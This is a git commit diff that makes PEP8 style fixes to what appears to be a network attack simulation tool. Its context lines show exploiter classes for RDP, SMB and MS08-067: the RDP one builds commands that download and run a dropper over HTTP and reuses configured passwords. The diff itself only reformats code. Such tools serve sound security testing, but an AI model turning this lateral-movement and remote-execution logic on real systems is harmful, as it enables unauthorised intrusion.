Bunch of generic PEP8 improvements

This commit is contained in:
acepace 2016-08-20 17:03:49 +03:00
parent 0eb655c44b
commit 88951f920d
6 changed files with 53 additions and 46 deletions

View File

@ -2,7 +2,6 @@ from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
class HostExploiter(object):
__metaclass__ = ABCMeta
_target_os_type = []

View File

@ -27,7 +27,7 @@ LOG = getLogger(__name__)
def twisted_log_func(*message, **kw):
if kw.has_key('isError') and kw['isError']:
error_msg = 'Unknown'
if kw.has_key('failure'):
if 'failure' in kw:
error_msg = kw['failure'].getErrorMessage()
LOG.error("Error from twisted library: %s" % (error_msg,))
else:
@ -263,9 +263,13 @@ class RdpExploiter(HostExploiter):
cmdline = build_monkey_commandline(host, depth-1)
if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline}
command = RDP_CMDLINE_HTTP_VBS % {
'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline}
else:
command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline}
command = RDP_CMDLINE_HTTP_BITS % {
'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline}
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)

View File

@ -23,7 +23,6 @@ except ImportError, exc:
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__)

View File

@ -163,6 +163,7 @@ class WmiTools(object):
return query
class SmbTools(object):
@staticmethod
def copy_file(host, username, password, src_path, dst_path):
@ -180,7 +181,8 @@ class SmbTools(object):
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
host, username, password)
try: smb.logoff()
try:
smb.logoff()
except: pass
return None
@ -290,8 +292,10 @@ class SmbTools(object):
share_name, host, exc)
continue
finally:
try: smb.logoff()
except: pass
try:
smb.logoff()
except:
pass
smb = None

View File

@ -165,6 +165,7 @@ class SRVSVC_Exploit(object):
return dce_packet
class Ms08_067_Exploiter(HostExploiter):
_target_os_type = ['windows']
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,